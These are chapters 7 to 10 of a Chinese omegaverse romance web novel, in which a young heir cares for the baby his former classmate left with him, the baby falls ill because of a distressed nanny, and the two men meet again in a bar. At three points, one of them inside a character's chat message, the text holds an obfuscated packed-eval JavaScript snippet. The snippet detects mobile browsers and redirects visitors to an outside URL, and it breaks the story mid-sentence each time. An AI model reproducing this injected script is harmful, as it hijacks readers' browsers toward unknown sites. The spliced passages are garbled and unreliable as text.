《死对头向您投递了个孩子》 7. 第 7 章 谢不辞回家的时候已经是第二天早上了。 到家那会正赶上育儿嫂带着孩子吃早饭。 雪团还小,谢不辞不在身边没有熟人,就算不得听话孩子。 比如现在谢不辞刚开门,就看见雪团把给他准备的好几个勺子都扔到一边,对着面前小碗里的鸡蛋羹和蒸熟的苹果泥直接下手抓。 蹭的脸上衣服上都是,还吃几口浪费一碗。 他也不让人抱,育儿嫂但凡有一点想干涉他的意思立马就开始哭,看向谢不辞的时候还眼泪汪汪的呢。 谢不辞关了门径直走过去把孩子抱起来:“你吃就好好吃,不吃就放下,谁教你……” 话还没说完,雪团那刚攥过鸡蛋羹的手就直接糊在了谢不辞脸上,然后顺着往下一直滑到他下巴,拖出长长一道印子。 “我……” 我草这句脏话几乎是脱口而出,但考虑到不能把这么小的孩子教得跟他一样粗话脏话张嘴就来,谢不辞就又生生咽了回去。 他先抽出卫生纸给雪团把手擦干净,又喊育儿嫂带着孩子去换身干净的衣服,最后才收拾桌子收拾自己。 就算只相处了两天的时间,谢不辞也能明显感觉到,雪团这脾气简直跟苏以安就一个模子里刻出来的。 不爱听的就不让你说。 最主要的是,一边乖顺一边又不服管教。 让你觉得他愿意理你愿意跟你相处是你的荣幸,偏偏你又对他这张漂亮的脸毫无抵抗力,拿他这若即若离的态度一点办法都没有。 因为听说孩子从起床到现在还没怎么吃饭,等换好衣服以后谢不辞先给冲了奶粉,看着孩子老老实实喝完才重新带着回卧室。 拉好遮光窗帘,谢不辞给他妈发了条消息过去,说晚上回家吃饭,要说什么回去再说。 然后带着孩子补觉。 还没睡着的时候,谢不辞就能明显感觉到雪团很乖,在你休息的时候不会打扰你,自己拿着玩具可以哄自己很久。 他不知道苏以安把孩子送过来的时候,会不会舍不得。 拿汇报孩子近况跟苏以安联系这种念头刚冒出来就被理智按了回去。 才刚说过的不找了,他说了什么方明之一定会让苏以安看见,蒋泽说得对,他们这个状态,确实需要各自冷静几天。 而且如果苏以安真的放心不下,一定会主动从各种渠道打听他和孩子的近况的。 不记得是怎么睡着的,但谢不辞再睁眼的时候天就已经完全黑了。 他翻出枕头底下的手机看了一眼时间,已经晚上七点四十了。 中间他妈有给他打过几次电话,只是他睡太死了完全没听见。 消息列表里也有不少人因为各种各样的事情找他,谢不辞草草的看了两眼,除了说苏以安跟对面房主八竿子都打不着以外,没什么重要消息。 他几乎托人把房主所有的人际关系都查了一遍,还从人际管理那呈网状又往下查了查,所有人都跟苏以安不认识。 谢不辞没深究,只告诉他们不用继续查了。 他给他妈发消息过去说起来洗个漱就马上带孩子回去,他妈直接秒回他:[吃什么你自己想办法解决,睡得跟死猪一样,我跟你爸早吃完了。] 说了句知道谢不辞就立马起来给雪团换了厚衣服又冲了奶粉。 十月的天是真的不暖和,尤其晚上,本来就没有什么照顾孩子的经验,再不多穿点让孩子生个病,往后一个礼拜就有的他忙了。 匆匆洗完漱以后谢不辞抱着雪团就往地下车库走。 他自己买的房子离他家不算远,也就十来分钟的车程。 抱着孩子进家门的时候谢不辞看见他爸坐再沙发上举着张报纸,他妈正敷着面膜追剧。 “回来了?自己找地方坐。” “干啥整得跟这不是我家似的?你招待客人说不说自己找地方坐这种话?” 谢不辞闻言不光得出声反驳一句,还专门赌气似的紧挨着他妈坐,然后不出意料的被他妈嫌弃的推搡了一把。 “别在那阴阳怪气。” “我就问你一句,把孩子带回来是不是就说明承认他了?” 谢不辞诧异的看了他妈一眼:“啊?我不是当你面表态的吗,我不是早就承认完了吗?” 虽然知道不太合适,但是他跟他妈各说各的对着疑惑真的挺好笑的。 “你是个什么玩意你自己心里没数啊?我以为那是你随便扯出来的借口呢,还告诉管家给人家封口费让别出去乱说。” “还有啊,我知道你没干好事,你也别跟要人肉人家似的去找孩子另一个爸爸,二十好几的人了这点人情世故还能不懂?” 谢不辞应了一声,然后默默把打听一下苏以安高中那会为什么只讨厌他列进日程里。 这会一直没说过话的谢不辞他爸清了清嗓子放下报纸,往谢不辞这边看了一眼。 “想跟着家里干就去前几天新开的那个分公司,那正好缺个经理。” “自己干,我手底下腾不出人去带你。” “……哦。” 到这就算交流完毕,然后他妈还催他要吃饭赶紧的,别一会该睡觉了谢不辞又像个大耗子一样在家里东窜西窜整出一堆动静来。 谢不辞直接把孩子往他妈手里一塞,说来都来了必须在她这吃。 紧接着走进厨房给自己煮了包方便面。 为了维持家庭和谐还得把碗洗干净了才能走。 随后打了个招呼谢不辞就又带着雪团回了自己住的小区。 其实只要孩子不哭不闹,养起来好像也不太麻烦,虽然有可能是谢不辞太钝感,觉得管吃管喝没给冻到就算孩子活得挺好。 回去以后谢不辞想起他妈说专门捂嘴让人不要胡乱议论这码事,他直接起身给雪团拍了张照发朋友圈。 配文:我儿子可爱吗。 然后趁着他给方明之发消息问知不知道苏以安当年为什么讨厌他的空隙,看了一眼朋友圈的评论区。 21:??? 14:心碎了,就两天没联系,谢哥你居然孩子都有了。 25:你喝高了还是大冒险输了? 37:我不信,你又成谁的老公了! 为了方便区分,谢不辞每次新加了谁都直接用序号标注,也每个都玩几天没新鲜感就不理了,不会出现把谁跟谁搞混了的情况。 他在那条问是不是真心话大冒险输了的评论下边回了一句,没喝没输,是真的。 别人就谁都没理,还顺手把列表里拿序号备注的都给删了。 然后看见方明之回的消息:[我不知道,我就听说之前钟家家暴过他,能肯定他是有报复你的成分在,但具体因为什么,估计苏以安跟谁都没提过。] [可能跟你家比较牛逼多少沾点关系?你找找自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108227|138214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原因。] 谢不辞盯着屏幕回忆了半天,也没想明白钟家家暴苏以安能因为点什么扯上他。 钟家的生意始终不温不火,在圈子里有一定名声和地位,但话语权不高,与他们家没什么往来,只是最近才把生意做大,跟他爸有点不太好扯到明面上说的利益冲突。 所以这么算的话,他和苏以安之间……会不会有什么误会? 谢不辞的家庭是和谐的,他不是那种三观炸裂的人,就算有的时候脾气不太好,也绝对不可能干出带头霸凌别人的事。 觉得一时半会琢磨不明白,谢不辞就没再死揪着不放。 苏以安现在抗拒他,估计问不出来什么,况且电话拉黑了,他也没有渠道亲自问。 第二天谢不辞专门定了闹钟,准时到他爸说分给他的分公司,然后坚持老老实实干了好几天的活。 本来大学学的就是对口的专业,再加上从小就跟着他爸妈出席各种活动,耳濡目染的,上手没什么大困难。 因为一直记挂着对门那个omega,谢不辞今天回家之前还临时起意敲了敲对方的门。 但对门安安静静,看起来不像有人。 为此谢不辞还专门查了楼道的监控,然后发现,起码五天,那扇门都没开过,除了他敲门给送抑制剂那次,也没有再叫过外卖。 所以……人还活着吗? 不会是一高兴就走了个捷径从窗户下去了吧?他们住的可是15楼。 谢不辞拉开电表水表那边的柜门看了看,找出相册里前几天月初他拍的他们家水表字符那张图片对比了一下以后发现,对面的这几天,用了十几吨水。 就只有一个人,用十几吨水。 跟在里头杀人藏尸似的。 本着作为三好市民的遇见这种事情要及时举报的品德,谢不辞先拨了物业的电话。 物业那边过来人很快,也就三五分钟的事情,到了以后了解完情况在场几个人又敲了敲对面的门。 见还是没什么反应,谢不辞又问要不要报警,物业才尝试着联系1501的业主,询问里面什么情况。 电话接通以后确实是谢不辞查到的那个毕业以后就创业那个小企业老板的声音:“等下我查监控看看。” “哦他没事,就是喝多了睡着了。” 谢不辞不太相信:“可是他连着五天都没出来倒过垃圾,还用了那么多的水,正常人哪有这样的?” “搞艺术的不就这样吗。” “洗画笔,兑颜料,洗衣服,洗调色盘调色盒,哪样不需要用水?” 这下谢不辞抓到关键词了,里面是个搞艺术的omega,跟苏以安一样。 所以他们两个也许真的认识,没准里面这个也是从国外回来的,再猜得大胆一点,可能里面这位发情期第一天就是苏以安带着去酒吧玩才沾了一大堆乱七八糟的信息素。 “那里面住的人跟你什么关系?” “我不认识,房子是我老婆租出去的。” 哦,难怪查不出来呢。 最终物业那边嘱咐房主让里面租户起床以后去物业面前露个脸,本人出来报个平安这事就算过去了。 然后谢不辞跟物业互换了电话,让他们见到对门租客跟他讲一下。 邻居嘛,说要认识一下总不会很奇怪,而且他没准备去问苏以安到底在哪,能只打听一下以前他过得怎么样也好。 8. 第 8 章 越往后天气越冷。 谢不辞能感觉到雪团不喜欢身上穿厚重的衣服,没到供暖时间就只能全天给开着空调。 正式上手以后,公司业务倒是也没多忙,手上几个小项目做完谢不辞甚至觉得可以给员工放几天假。 最近过得都是白天上班晚上寻思怎么教孩子说话的规律日子,让谢不辞头一次觉得人清醒的时候也可以很有价值。 今天下班谢不辞他爸还悄悄悄悄发消息问他有没有想法找个老婆跟他一起养孩子,谢不辞只说想再等等,等雪团亲爸愿意见他。 他爸看见这条消息以后二话不说就往他在的那个分公司多塞了好几个看起来就挣钱的项目。 完事也不忘嘱咐谢不辞,想娶老婆彩礼钱得自己挣,还说这几个项目也就才比娶他妈过门的时候多那么一点点。 于是谢不辞粗略的算了算纯利润。 嗯,看起来嫁进他们家,钱是一定不少给的,彩礼也就简简单单一个小目标吧。 这还没算他妈跟他炫耀的,他爸追人那会送的房、车、名贵首饰之类的。 项目到手以后公司忙了不少,连谢不辞这种松弛感拉满的富家少爷都不得不留下加会班。 时间一天一天过去,在谢不辞的不屑努力之下,雪团也从只会喊爸爸,到能清晰的说出喝水吃饭这种基本需求。 本来以为打听不到苏以安的消息,这种平静的日子就不会有什么特别大的起伏。 然后在他家住的时间最长的那个育儿嫂郑姐觉得他单亲爸爸不容易还会顺手给他把他家卫生收拾一下,省了他再专门请保洁的麻烦。 谢不辞有打听过,郑姐今年四十二,儿子今年大学毕业。 郑姐说这几天儿子要娶媳妇想请个假。 这种家里孩子的人生大事,也没有不给假的道理,于是谢不辞特别通情达理的给了假,然后找家政公司重新派了个比较年轻的过来。 这会恰好赶上公司业绩有问题的时候,人过来了以后谢不辞也就没多注意,觉得跟郑姐都认识的同时应该不会出什么大问题。 他在公司忙到晕头转向,听见电话铃声都已经看屏幕了,拿起手机就接。 以至于苏以安那熟悉的声音猝不及防的从听筒里传过来的时候,谢不辞心跳都漏了一拍。 “谢不辞。” “你把我儿子留在谁手里?你就让他在家哭大半天?” “啊?” 这电话来得有点突然,谢不辞脑子里还全是财务和设计呢,完全没转过来。 “雪团才六个多月大,他只会喊爸爸,他没法告诉你他受了什么委屈。” 苏以安这话说得很平静,但谢不辞能听出被他藏起来的情绪。 他是心疼雪团的,也没有在责备谢不辞。 “等一下,我……我不知道,可能换了个人带他他还不适应,我马上回去,要不你先过去看看?” 苏以安没说行也没说不行,只让告诉谢不辞让他尽快回来。 今天天气很不好,早上还下了场小雨,降温很快,现在苏以安穿着加绒大衣坐在楼下便利店还觉得有点冷。 他本来出门是要买点白颜料的和酒回去的,但刚打开门就能听见对面的传来的孩子的哭声。 高档小区隔音不差的。 他没有听得很清楚,可越若隐若现的就越让人揪心。 他进电梯之前,还听见了那保姆发疯摔了什么玻璃器制品的声音,一边摔一边对着孩子大喊大叫。 再不愿意承认,雪团也是他千辛万苦生下来的孩子,养了半年多,说一点感情都没有是骗不了自己的。 可同时雪团也是谢不辞的孩子,苏以安没有主动想生,所以始终有芥蒂。 再加上这孩子的来源跟自己太像,他又自认算不得什么有责任感的人,只觉得送给谢不辞是孩子最好的归宿。 不全是报复。 看到谢不辞发朋友圈承认那孩子的时候,他的第一反应是庆幸。 苏以安深吸一口气,起身去货架上拿了两瓶度数高的白酒,付了款坐在能看清外面来来往往车辆的桌子前,拧开瓶盖直接对瓶吹。 白酒都不太好喝,很辣,喝完胃里都火烧火燎的。 但酒精上劲的时候总能帮人压下些不算太好的情绪。 他是他爸兼职卖酒的时候跟钟家公司现任董事长一夜情生下来的。 他爸对他很好,没有打压式教育,可他们这么多年过得也都挺艰难的。 他另一个alpha爸爸因为不愿意承认他,给了他爸一笔钱,然后钟家就有人觉得苏以安的存在不光彩,反咬一口说他爸大额诈骗敲诈勒索。 具体什么情况苏以安不清楚,只记得他从小就住在地下室,跟同学出去玩连花五块钱买糖都觉得好奢侈。 毕竟五块钱可以买到够他们吃三天的馒头。 现在苏以安倒是不缺钱,物质上也不是养不起一个孩子。 但他绝对做不到他爸爸那个程度,他没法心平气和的面对谢不辞的孩子,哪怕他也很清楚谢不辞根本不知道他为什么讨厌他怨恨他。 孩子是无辜的。 从决定好送过去那一刻开始,苏以安就没准备再见。 等了谢不辞多久,他就提心吊胆了多久。 直到一辆明摆着超速了的车闯进小区,苏以安才敢带着第二瓶没喝完的酒,走出便利店点吹冷风抽根烟。 便利店离他俩住的那栋楼不远,谢不辞甚至都没顾上车停在单元楼路中间会不会挡别人路,就直接开了车门跟赶投胎似的往楼里跑。 大概过了十几分钟的样子,苏以安就重新接到了谢不辞的电话。 接通后两人都对着手机沉默了两秒,苏以安才纠结着开口:“雪团怎么样了?” 回答他的不是谢不辞,是孩子那哭得都说不清楚话的声音,对着听筒喊了好几句爸爸,说想爸爸了,想让爸爸抱。 那个委屈得不能再委屈得声音,听得苏以安都鼻子发酸。 “你过来看看雪团吗。” “我哄了有一会了,他说想你,也不是很愿意让我抱。” 苏以安蹲在路边,平复了好久才让自己声线尽量平稳。 刚才那么长时间,有那么多次的机会他都没选择上去。 他明明可以直接问谢不辞密码,明明可以在刚听见孩子哭的时候就把孩子带走,可他什么都没做。 既然到这份上了,他又有什么资格现在去见孩子。 他早就不配说自己是雪团爸爸了。 “不了吧,你给他买点奶酪棒什么的,晚上抱着他睡,明天请个假或者去干什么把他带上。” “雪团挺好哄的,他不会记仇。” 这次电话那边也沉默了,就在苏以安觉得在嘱咐点什么就可以把这电话挂掉了的时候,谢不辞抢先他开口:“可是我也想见见你,我想跟你谈谈。” “再说吧。” 苏以安挂掉电话,把手里拿着的剩下半瓶白酒喝完,然后空瓶子扔进路边的垃圾桶里。 有种形容不出来的烦躁感。 他不想再跟谢不辞有接触,最好他俩这辈子就老死不相往来,谢不辞愿意把孩子照顾好,之前的他都可以当做一笔勾销。 但谢不辞偏偏要找他,信他重病都不信他生性恶劣蓄意报复。 现在是下午三点半。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108228|138214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >今天天气始终阴沉沉的,天气预报说不会再下雨,但温度下降后那个湿冷湿冷的体感就很让人难受。 谢不辞刚进家门的时候,家里窗户全是大开着的,一开门那个风扑面而来。 他上班之前给孩子穿得是什么现在穿得就是什么,家里乱七八糟的,地面上还有不少玻璃碎屑。 那被当做保姆请过来的女人披头散发的,歇斯底里的质问着孩子到底有什么好哭的,然后发疯砸东西。 没对孩子动手,没有实质性伤害,但孩子太小没见过这样的场面,身边又长时间没有熟人,坐在婴儿车里不知道哭了多久。 那可是苏以安亲自打电话把他叫过来的,苏以安从来没主动联系过他,要是让他知道孩子不知道被冻了多久,吓得最开始都不让谢不辞抱,这得心疼成什么样。 谢不辞家里装了监控,是在孩子送过来的第二天装的,他没来得及查,就给蒋泽发了语音让蒋泽看看到底怎么回事。 雪团当天下午发了高烧,烧到几乎没什么时间是清醒的,嗓子也哭到干哑难以发出声音。 谢不辞带着去医院输液的时候,护士端了好几瓶药过来,小孩子扎不了手背只能扎额头,雪团想挣扎还哭不出声音,看得谢不辞心里更堵得慌。 那保姆的后续蒋泽整理好就直接发给他了。 据说是家政公司那边缺人手,听说他家孩子懂事,派了个干保洁保姆这样员工过来,但恰好派过来的这位是个生过孩子以后产后抑郁严重到难以正常生活的。 听不得小孩的哭声。 蒋泽这些消息发过来的时候谢不辞是真的很想骂人。 这种低级的错误都能犯那家政公司干什么吃的。 蒋泽问怎么处理的同时,谢不辞也收到了苏以安的消息:[雪团生病了没有?我知道你也有工作你也有自己的生活,但你能不能找个靠谱的看着他?] 谢不辞沉默着给孩子裹好披着的衣服,冷静了好久才开始回消息。 [孩子发了高烧,在市中心那家医院门诊的输液室,你要不放心可以过来看看。] [对不起,我没考虑到我也可以把他带在身边,是我的问题,以后不会了。] 说完苏以安就没再回,谢不辞不太好揣测他到底是什么想法,毕竟这么久没见了,人都是会变的。 一年多可以经历很多事情。 举着手机把蒋泽发来的聊天记录又重新看了好几遍,谢不辞才松开握着的拳头打字道:[搞点舆论,别提是我家孩子,不然他们那公司就干不下去了,祸不及家人,就当给我出口气吧。] 蒋泽似乎是没料到谢不辞会这么好说话,回得明明是文字消息偏偏有种语音的感觉:[ber?搞点舆论就完事了?我草我大侄子输液两个多小时还没好,这就算了?] [公司有法务,别乱玩黑的,孩子还小。] 谢不辞家确实有实力有背景,家底也是好几代人积攒下来的。 可是树大招风,很多人看不惯他家。 未来的事无法预测,谢不辞也没法百分之百的保证雪团一定可以顺风顺水的过一辈子,他们家一点事情都不会出。 如果真会到那份上,他克制脾气留下的余地就会变成他儿子的活路。 蒋泽先是回了他一串省略号,然后给他发了个视频过来。 视频是谢不辞家楼道的监控,对面门打开,从里面走出来的,是之前蒋泽给他在酒吧录过视频,他想见但没见到的小蓝毛。 然后蒋泽问他:[他跟苏以安认识?是他告诉苏以安的?] 谢不辞回:[可能吧,我不知道,但苏以安好像挺生气的,我跟他道歉他不理我,他也不骂我。] 9. 第 9 章 高中的时候谢不辞就手欠嘴欠的,经常逗苏以安玩,就为听人家骂他。 所以谢不辞知道,苏以安跟他说脏话就没多大事也没真生气,反倒是平静沉默这种反应,才是苏以安最难过的表现。 等雪团输完液已经完全天黑了,临走之前谢不辞专门把医生跟他嘱咐的注意事项录了音,然后带好从药房刚拿的药回家。 夜里雪团又反反复复发烧了好几次,搞得谢不辞根本不敢合眼。 第二天知道他因为孩子生病没去公司以后,谢不辞他妈还亲自上门看了一眼。 孩子太小,加上生病,喂药特别困难,给冲奶粉也是喝完就吐,谢不辞都怕他一个没注意孩子就撑不过去。 最后还是谢不辞带着回了他妈那,两人轮班看着照顾了两天三才全好。 听说处理那保姆是走法律程序,没干一冲动就摆富二代架子这种事,谢夫人还挺诧异,特意多问了两句。 谢不辞回得还是跟蒋泽说的那套话。 “早知道多个孩子你就从良懂事了,从你第一回进酒吧开始我就应该找人给你生。” “跟孩子关系不大,我不喜欢孩子,我只是喜欢孩子另一个爸爸。” 谢不辞从冰箱拿出一罐啤酒,拉开拉环喝了几口坐回饭桌上,也没管什么规矩不规矩的,拿起筷子就吃。 “那人家小苏为啥讨厌你。” “我哪知道啊,我是正常追他来着,他又啥都不说,打听半天都问不出来到底为啥。” 谢夫人看着他半分钟扒拉半碗米饭,沉默了半天也没说出下一句话来。 正常追。 听见这仨字她都没好意思笑。 谢不辞说的正常追,就是仿着古早狗血文里的尴尬男主,在苏以安宿舍楼底下,拿着个喇叭摆九百九十九朵玫瑰花,放上土得人起一身鸡皮疙瘩的腻歪情歌,像个智障一样的喊,苏以安求你做我老婆行不行。 当时围观那群人把视频发出来,传到谢夫人手里的时候,她都想当场辟谣没生过这样的儿子。 还有什么让苏以安舍友替他给苏以安念情书,一句话五百块钱那种,当时那几封不重样的情书谢夫人也看了,绝对不是谢不辞能写出来的东西。 字里行间都透露着,作者像个喝高了没词硬拽还不愿意放过谢不辞这种人傻钱多金主的,绝望的文盲。 代入一下苏以安,本来上学就烦,还有这样的智障教唆全校骚扰,能不膈应吗。 “你……万事多找找自己原因吧。” 谢夫人也没好意思直说,现在回忆一下还有点后悔当时把视频和情书全给处理干净了,不然高低得拿出来埋汰谢不辞两句。 “我不用找呀,他爱我,他一年多以前就说了很多遍爱我,对我也挺好的,就是当时以为他是演的,我没信……” “可是他孩子都愿意给我生,跟我姓,还教了孩子管我叫爸爸,雪团在我手里也听话又可爱。” “他就是爱我。” “可能觉得我不可依靠不太愿意见我吧。” 谢夫人本来想告诉他你开心就好,但转念一想,又觉得好像有哪不太对劲:“所以你的意思是,人家小苏怀着孩子想看看你是什么态度的时候,你毫无察觉的晾着人家不说,还两天换一个床伴,对吗。” “一定要说这么直白吗。” 见他还敢承认,谢夫人刚准备开骂,就被门口就传来的开门的声打断,管家带着两个抬着被包裹得严严实实的木板走进来。 “直接给您放进卧室吗夫人?” “就在这拆开,我先看看。” 管家找来了工具,小心翼翼的拆开外面起保护作用的纸板和泡沫。 谢不辞扒拉完最后一口饭放下筷子,起身过去搭了把手,看见里面的油画的眼色以后还小声吐槽了一句:“以前也没见你有买这种东西的喜好啊。” 在被包裹好的油画露出全貌时,谢不辞先是愣了一下。 画布挺大的,看起来可以占掉大半面墙的空间。 整张画也是暗色调的,带着一种形容不出来的颓靡气,画中人在右下角的位置,面前画着茂盛生长极具生命力的植物。 但环境却逼仄压抑,满地的酒瓶烟灰,偌大的画上却只有巴掌的的地方透出一道微弱的月光。 那月光像是整张画中唯一的光源。 谢不辞不会欣赏,也看不出这张画到底哪里好,夸张一点形容甚至都看不出画得主要是什么,但他就是觉得这是苏以安的画。 因为他身边大多数没吃过什么苦还想搞艺术的人创作出来的作品,大多数谢不辞一眼望过去都觉得对方无病呻吟。 这张就不会。 谢不辞没记下苏以安是什么画画风格,也不清楚他在国外过得怎么样,但就是固执的认为,买下了他的画也算是跟他除了孩子之外还有其他联系。 “妈你能不能把这画倒卖给我,我出双倍。” “哪凉快哪待着去,你个大糙老爷们你又看不懂。” 谢夫人没当回事,示意管家直接带人把画挂到卧室去。 “等等等等,三倍总行了吧。” “你要想买自己去找不行吗,你非得抢我的干什么?” “我就要这张。” “……五倍考虑一下吗。” 谢夫人斜靠在餐桌椅子旁边打量着谢不辞。 谢不辞的消费观她是清楚的,要不要都可以的会考虑原价买二手,比较想要的愿意出双倍,真的喜欢的出三倍,非要不可才会出五倍。 但谢不辞对艺术不感兴趣,面前这画也只是她在市场上看着顺眼就随便淘过来的。 到这份上谢夫人猜也能猜到是怎么回事了,然后微笑着说出一点也没准备客气的话:“十倍。” 谢不辞:? “不是,我爸不给你钱了吗?” “你爸给不给我钱,和我想不想坑你之间,存在什么必然的因果关系吗?” …… 嗯,一看就是亲生的,后妈绝对不会说得这么理所应当且理直气壮。 谢不辞又仔细看了那画两眼,然后咬牙切齿的回应:“行。” 区区十倍,不就是把他最近挣得一分不少的全坑走了吗,往好处想想,至少他妈很仁慈的没让他负债。 吃过晚饭准备带雪团回自己小区之前,谢不辞看见蒋泽聊天窗口多了好多消息。 是好几张图片,画得还是之前视频里那个小蓝毛。 蒋泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108229|138214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说那是苏以安的画。 然后过了没二十分钟又说在酒吧又看见了小蓝毛,问他过不过去。 最新的消息是刚刚发来的,说在那酒吧也看见了苏以安,苏以安还不知道因为什么泼了乔洛初酒,但两人没打起来。 谢不辞跟他妈打了声招呼说晚点回来接雪团,就直接自己开车往酒吧赶。 路上也没浪费时间,给蒋泽打了个电话过去。 “在酒吧看见苏以安?他喝酒没?” “要不你猜猜他干啥来了呢谢哥。” 很好,谢不辞找不出一点反驳的话来。 苏以安以前也是会玩的,他知道,他俩半斤八两,要不是性别不同估计就为抢同一个人也少不了打架。 “那你怎么知道那画是苏以安的?你们说过话了?” “没有,画到手以后我看见后面签了苏以安的名字,跟当时雪团身上揣那张纸条上的笔迹是同一个人。” “行,知道了,我马上到。” 这个时间正好是酒吧最热闹的时候,谢不辞推门进去的时候被里面嘈杂的声音刺得下意识皱眉。 而且他刚进门,就看见最近的卡座上,那个蓝头发的小omega正好跪在沙发上,叼着棒棒糖的小棍,扯掉糖纸,像接吻一样与一个西装革履但看不清脸的alpha凑在一起。 那alpha还把手搭在他腰上。 觉得这个时候过去坏人家兴致不太合适,谢不辞就没过去。 毕竟是苏以安的朋友,还是尽量别留个不咋地的第一印象。 他没再往那边多看,直接上楼去找他们之前直接买下来的包间问蒋泽苏以安在哪。 蒋泽看见他的时候甚至有点没反应过来:“啊?我以为你很急啊,我都把他在哪个卡座发给你了,你咋没直接去找?” 谢不辞愣了一下,然后看了一眼聊天窗口,哦了一声就自顾自的下楼。 他这几天照顾雪团一直都晕头转向的,说话做事也不太过脑子。 他找到蒋泽说的那个卡座,没见到苏以安甚至还问了问开卡座的人。 那人似乎也不认识苏以安,听名字陌生,只告诉他他们卡座那omega接了个电话去厕所了。 谢不辞倒是没觉得意外,反倒认为一下子就见到了才不对劲。 酒吧厕所相对还是比较安静的,以至于还没拐进去看见人,谢不辞就先听见了苏以安的声音。 苏以安对着电话说话的语气挺不耐烦的,说了句什么知道了,然后谢不辞就听见了按打火机的清脆声响。 他走过去,正好和刚点完烟准备从厕所出来的苏以安打了个照面。 谢不辞张了张嘴,半天也没说出一个字来。 苏以安确实清瘦了不少,但这不是最主要的。 最主要的是,谢不辞看见他那雾霾蓝的发色和侧腰上露出的一小片纹身,大脑宕机了半天才艰难的把他的邻居,还有之前蒋泽给他拍视频在酒吧里玩到凌晨的omega与苏以安联系在一起。 闻到面前人身上浓重的酒气,谢不辞的质问几乎脱口而出:“谁让你喝酒的?” “不是等一下。” “所以他妈的刚才跟人像亲嘴一样吃糖的是你?!” 10. 第 10 章 苏以安本来没想搭理他,准备绕开他就走,但谢不辞把厕所门口堵得严严实实的,让他连钻都钻不出去。 “关你什么事啊。” 他说得漫不经心,反倒让谢不辞怪憋屈的。 “你什么身体底子就敢喝这么多。” “再说了,你爱的不是我吗。” 本来还想呛谢不辞两句,听见后边问出来的这句苏以安直接噤声,然后扒开谢不辞挡在他面前的手。 “喝多了就滚出去醒酒,别在我面前发疯,我跟你又没关系。” 话本身是带刺的,因为喝了酒,苏以安也没考虑得那么复杂,说得全是字面意思,但谢不辞有自己独特的抓重点方式,以至于在他觉得苏以安想表达的是…… 你又不给我名分你找我干什么。 谢不辞抓住苏以安的手腕,觉得苏以安都这么说了,就没有比现在更好的表态时机了。 他酝酿了一下,话都到嘴边了,手机却不合时宜的响了起来。 苏以安没直接挣开他,只瞥了一眼谢不辞装着手机的那个口袋:“电话。” “可以先不接,我只占你两分钟。” “能告诉我,高中那会发生了什么让你讨厌我吗。” 手机铃声音量不小,回荡在这只有他们两个人在的走廊里显得异常突兀。 谢不辞松开拽着苏以安手腕的手,看着他吐出的烟圈与昏暗的灯光一起,模糊了面前这张脸的轮廓。 “能因为什么,讨厌又不需要理由。” “接你电话去吧,雪团跟你挺好的,不用在我身上浪费时间。” 苏以安说完就走了,没给谢不辞在多问的机会,因为他觉得像谢不辞这种粗神经的人,说到这份上是会相信的。 他不愿意被多问,也不想再提起。 谢不辞知不知道都没什么区别,伤害已经在过去造成了,那现在再追问没有任何意义。 他不需要补偿,他该做的是远离谢不辞,远离那个极有可能会再次给他带来伤害的群体。 搞了这么一出,苏以安也没了继续留在这酒吧的兴致,索性直接从侧门出去打车回了家。 今夜月色很好,星星稀稀疏疏的铺在蓝紫色的天空中,还有夹杂着些许冷意的晚风。 谢不辞在走廊里站了许久,思绪被高处通风口吹进来的冷风拉回来,才接了他爸亲自打来让他回分公司加班的电话。 他爸说他手里那几个项目搞好了在明天晚宴上他可以自己找合作。 明天那个晚宴他爸老早之前就跟他提过,他当时没注意听,又是商业会谈又是联姻的,他根本不感兴趣。 因为不想之前的努力付之东流,谢不辞还是听话的开车往公司走,但开车开得心不在焉的。 谢不辞不知道苏以安高中那会讨厌他是因为他表白给对方造成困扰了,还是单纯就觉得他装看不惯他。 他还专门回忆了一下苏以安说再也不会出现在他面前那时候发生了什么。 但那真的只是一件再平常不过的小事。 苏以安拿着他穿过还没来得及送洗的衬衫问他能不能不要抽烟,说不想在衬衫上闻到烟味。 然后他觉得很莫名其妙,好像有口无心的说了一句类似抽烟碍你什么了,你不是也抽吗,这个意思的话。 苏以安什么都没说,抱着那个衬衫去阳台坐了好久,久到谢不辞真的觉得可能有什么隐情,主动给他台阶去问他到底怎么了,于是听见了苏以安说的对他失望至极,以后再也不会出现在他面前。 谢不辞没当回事。 毕竟之前做过的比这个过分的事情多了去了,却没想过压死骆驼的从来都不是那最后一根稻草。 在公司楼下停好车,谢不辞刚准备拉开车门,却像忽然想到什么似的,掏出手机找出蒋泽的聊天页面。 上面说,苏以安跟乔洛初起冲突但没打起来。 谢不辞在那条消息下面点了回复:[知道发生了什么吗?具体点。] 印象里他俩的交集算不上多,连点头之交都没有。 